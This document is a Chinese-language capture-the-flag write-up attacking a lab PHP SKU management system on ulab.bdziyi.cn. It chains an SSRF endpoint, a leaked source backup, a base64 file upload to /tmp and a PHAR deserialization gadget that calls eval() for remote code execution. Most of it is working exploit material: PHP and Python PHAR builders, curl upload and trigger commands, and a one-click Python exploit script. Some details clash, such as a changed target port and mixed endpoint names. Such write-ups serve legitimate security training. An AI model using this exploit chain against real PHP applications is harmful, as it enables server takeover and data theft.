用户
├── 21959 — Nginx 1.18.0 (反向代理 → 内部 API 4455)
└── 21960 — Apache 2.4.56 + PHP 8.0.30 + Twig 3.10.3 (SKU 管理系统)
└── 127.0.0.1:4455 — SKU Model 内部 API
├── GET /sku_transfer
├── GET /sku_validation
├── POST /sku_process (base64 解码后写入 /tmp/)
└── POST /sku_read (PHAR 反序列化 → RCE)
第一步:信息收集
1.1 基础扫描
# 端口探测
curl -s -i http://ulab.bdziyi.cn:21959/
curl -s -i http://ulab.bdziyi.cn:21960/
结果:
-
21959:Nginx 1.18.0,返回403 Forbidden -
21960:Apache 2.4.56 (Debian) + PHP 8.0.30,返回Hello+ Twig 3.10.3 信息

1.2 端口 21960 路径枚举
# 首页
curl -s http://ulab.bdziyi.cn:21960/
# 输出:Twig version 3.10.3, Sandbox mode: Enabled
# SKU 系统各页面
curl -s http://ulab.bdziyi.cn:21960/sku_system.php
curl -s http://ulab.bdziyi.cn:21960/sku_search.php
curl -s http://ulab.bdziyi.cn:21960/sku_add.php

1.3 发现 SSRF 端点
# sku_url.php — URL 获取器
curl -s -X POST "http://ulab.bdziyi.cn:21960/sku_url.php" \
-d "url=http://127.0.0.1:4455/"
响应: 返回 SKU Model 内部 API 文档,包含三个端点:/sku_transfer、/sku_validation、/sku_process。

第二步:发现 Nginx ACL 绕过
直接通过 21959 端口访问内部 API:
# 发现 21959 不仅是 /index.php,而是完整代理到内部 API
curl -s http://ulab.bdziyi.cn:21959/sku_transfer
curl -s http://ulab.bdziyi.cn:21959/sku_validation
# 发现新端点
curl -s http://ulab.bdziyi.cn:21959/sku_read
# 返回: {"status":"error","message":"Phar file not found."}

第三步:获取源码
# 下载源码备份
curl -s -o backup.zip "http://ulab.bdziyi.cn:21959/backup/backup.zip"
路径扫描发现源码备份backup.zip

源码分析关键发现
read_sku.php(反序列化入口):
<?php
require_once 'ReadClass.php';
$filePath = $_POST['file_path'];
$content = file_get_contents("phar://" . $filePath . "/manifest");
$data = unserialize($content);
$template = new CustomTemplate();
$template->render($data);
?>
流程:
-
接收 POST 参数
file_path -
用
phar://协议打开/tmp/xxx.jpg/manifest -
读取文件内容后执行
unserialize() -
创建
CustomTemplate对象并调用render()
ReadClass.php(Gadget Chain):
<?php
class CustomTemplate {
public $data;
public function __wakeup() {
eval($this->data);
}
public function render($data) {
eval($data->data);
}
}
?>
两个 eval() 调用,任一个触发都能 RCE。__wakeup() 在 unserialize() 时自动触发。
sku_process.php(文件上传):
<?php
$data = base64_decode($_POST['data']);
$filename = md5(uniqid()) . '.jpg';
file_put_contents("/tmp/" . $filename, $data);
echo json_encode(["file_name" => $filename, "file_path" => "/tmp/".$filename]);
?>
接收 base64 编码的数据,解码后写入 /tmp/{md5}.jpg。
那我们可以构造以下攻击链路
POST /sku_process.php → 上传 PHAR → /tmp/{md5}.jpg
POST /read_sku.php → phar:///tmp/{md5}.jpg/manifest
→ unserialize()
→ CustomTemplate::__wakeup()
→ eval("system('cat /flag.txt');")
→ FLAG!
攻击链: sku_read → phar://{path}/manifest → unserialize() → CustomTemplate::__wakeup() → eval($this->data) → RCE
第四步:构造 PHAR 反序列化 Payload
4.1 创建 PHAR 文件
需要 PHP 环境(>= 5.3),用以下脚本生成:
cat > create_phar.php << 'EOF'
<?php
class CustomTemplate {
public $template;
public $data;
public function __wakeup() { eval($this->data); }
public function render() { eval($this->data); }
}
$pharFile = 'exploit.phar';
@unlink($pharFile);
$obj = new CustomTemplate();
$obj->data = 'system("cat /flag.txt");';
$manifestContent = serialize($obj);
$phar = new Phar($pharFile, 0, 'exploit.phar');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($obj);
$phar->addFromString('manifest', $manifestContent);
echo "PHAR created\n";
?>
EOF
php create_phar.php

也可以使用python构建
#!/usr/bin/env python3
"""
PHAR Deserialization Exploit Builder
目标: ulab.bdziyi.cn 组合环境
"""
import hashlib, struct, zlib, base64, sys
def build_phar(payload, output="exploit.phar"):
# 1) 序列化 CustomTemplate 对象
escaped = payload.replace('\\', '\\\\').replace('"', '\\"')
serialized = f'O:14:"CustomTemplate":1:{{s:4:"data";s:{len(payload)}:"{escaped}";}}'
file_content = serialized.encode('utf-8')
print(f"[*] 序列化: {serialized}")
# 2) Stub — 必须以 __HALT_COMPILER(); ?> 结尾
stub = b'<?php __HALT_COMPILER(); ?>\n'
# 3) Manifest
filename = b'manifest'
file_entry = b''
file_entry += struct.pack('<I', len(filename)) + filename
file_entry += struct.pack('<I', len(file_content)) # 未压缩大小
file_entry += struct.pack('<I', 0) # 时间戳
file_entry += struct.pack('<I', len(file_content)) # 压缩后大小(相同)
file_entry += struct.pack('<I', zlib.crc32(file_content) & 0xFFFFFFFF)
file_entry += struct.pack('<I', 0x000001FF) # 权限标志
file_entry += struct.pack('<I', 0) # metadata 长度
manifest_header = b''
manifest_header += struct.pack('<I', 0) # manifest 总长(占位)
manifest_header += struct.pack('<I', 1) # 文件数量
manifest_header += struct.pack('<H', 0x0011) # API 版本 1.1.1
manifest_header += struct.pack('<I', 0) # 全局位图
manifest_header += struct.pack('<I', 0) # alias 长度
manifest_header += struct.pack('<I', 0) # 全局 metadata 长度
manifest_len = len(manifest_header) - 4 + len(file_entry)
manifest_header = struct.pack('<I', manifest_len) + manifest_header[4:]
# 4) 签名前数据
pre_sig = stub + manifest_header + file_entry + file_content
# 5) SHA1 签名 — 标准格式
sha1 = hashlib.sha1(pre_sig).digest()
sig = sha1 + struct.pack('<I', 0x0001) + b'GBMB'
# ^^^^ ^^^^^^^^^^^^^^^^ ^^^^^^^^
# SHA1值 flags=SHA1 固定魔数
phar = pre_sig + sig
with open(output, 'wb') as f:
f.write(phar)
print(f"[+] PHAR 已生成: {output} ({len(phar)} bytes)")
print(f"[+] 尾部魔数: {phar[-4:]}")
# 自检
assert phar[-4:] == b'GBMB', "签名尾部错误"
assert b'__HALT_COMPILER();' in phar, "缺少 HALT 标记"
stored = phar[-28:-8]
computed = hashlib.sha1(phar[:-28]).digest()
assert stored == computed, "SHA1 不匹配"
print("[+] 自检通过")
return phar
if __name__ == '__main__':
cmd = sys.argv[1] if len(sys.argv) > 1 else "system('cat /flag.txt');"
build_phar(cmd)
4.2 Base64 编码
base64 -w0 exploit.phar

第五步:上传 PHAR 到服务器
通过 SSRF 转发到内部 API 的 sku_process:
# 上传 PHAR 文件
curl -s -X POST "http://ulab.bdziyi.cn:21960/sku_url.php" \
--data-urlencode "url=http://127.0.0.1:4455/sku_process" \
--data-urlencode "data=${PAYLOAD}"

响应示例:
{"status":"success","message":"Image uploaded successfully.","file_name":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6.jpg","file_path":"/tmp/a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6.jpg"}
第六步:触发反序列化 RCE
# 触发 PHAR 反序列化
curl -s -X POST "http://ulab.bdziyi.cn:21959/read_sku.php" \
--data-urlencode "file_path=/tmp/a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6.jpg"

执行流程
POST sku_read?file_path=/tmp/{md5}.jpg
↓
file_get_contents("phar:///tmp/{md5}.jpg/manifest")
↓
unserialize(manifest_content) → CustomTemplate 对象
↓
__wakeup() → eval("system('cat /flag.txt');")
↓
flag{xxxxxxxx}
一键利用脚本(需要把构建好的exploit.phar放到同目录下)
#!/usr/bin/env python3
import base64
import subprocess
import sys
import requests
TARGET = "http://ulab.bdziyi.cn:21988"
php_script = """<?php
class CustomTemplate {
public $template;
public $data;
public function __wakeup() { eval($this->data); }
public function render() { eval($this->data); }
}
$pharFile = 'exploit.phar';
@unlink($pharFile);
$obj = new CustomTemplate();
$obj->data = 'system("cat /flag.txt");';
$manifestContent = serialize($obj);
$phar = new Phar($pharFile, 0, 'exploit.phar');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($obj);
$phar->addFromString('manifest', $manifestContent);
echo "PHAR created\\n";
"""
with open('exploit.phar', 'rb') as f:
phar_data = f.read()
b64_data = base64.b64encode(phar_data).decode()
print(f"[*] PHAR size: {len(phar_data)}")
# Upload
print(f"\n[*] Uploading PHAR...")
resp1 = requests.post(f"{TARGET}/sku_process.php", data={"data": b64_data}, timeout=30)
print(f"[*] Upload: HTTP {resp1.status_code}")
j = resp1.json()
file_path = j.get("file_path", "")
print(f"[*] Server saved to: {file_path}")
# Trigger
print(f"\n[*] Triggering deserialization...")
resp2 = requests.post(f"{TARGET}/read_sku.php", data={"file_path": file_path}, timeout=30)
print(f"[*] Trigger: HTTP {resp2.status_code}")
print(f"[*] Response:\n{resp2.text}")
完整攻击链总结
① 信息收集
├── 发现 SSRF 端点 (sku_url.php) → 内部 API 4455
└── 发现 Nginx 21959 全代理到内部 API
② 源码泄露
└── backup/backup.zip 下载 → 分析源码
③ 发现 Gadget Chain
├── read_sku.php: phar:// → unserialize()
└── ReadClass.php: CustomTemplate::__wakeup() → eval()
④ 构建 PHAR 反序列化 Payload
└── PHP Phar 类创建 exploit.phar
└── manifest 内含 serialize(CustomTemplate)
└── data = "system('cat /flag.txt');"
⑤ 上传 (SSRF)
└── POST sku_url.php → sku_process
└── base64(data) → /tmp/{md5}.jpg
⑥ 触发 (Nginx代理)
└── POST 21959/sku_read?file_path=/tmp/{md5}.jpg
└── phar:// → unserialize → __wakeup → eval
└── FLAG!







请登录后查看回复内容